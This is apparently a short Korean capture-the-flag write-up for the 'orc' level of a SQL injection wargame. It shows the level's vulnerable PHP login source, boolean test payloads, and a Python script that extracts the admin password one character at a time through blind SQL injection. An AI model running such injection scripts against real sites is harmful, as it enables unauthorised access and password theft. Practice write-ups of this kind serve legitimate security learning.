Orc-writeup
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
blind sql injection이 시작됐다...
?pw=123%27or%201=0%23
?pw=123%27or%201=1%23
를 비교해보면 Hello admin의 유무로 pw를 찾을 수있다
import re
import requests
import time
flag = ''
length= 0
session =dict(PHPSESSID="g3ismle8dhkrt2vli566s41rfd")
for i in range (1,20):
for j in range(32,127):
r=requests.post("https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=295d5844'or id='admin' and substr(pw,"+str(i)+",1)="+chr(j)+" -- ",cookies=session)
if 'Hello admin' in r.text:
flag=flag+chr(j)
print("finding pw: "+flag)
break
print("pw "+flag)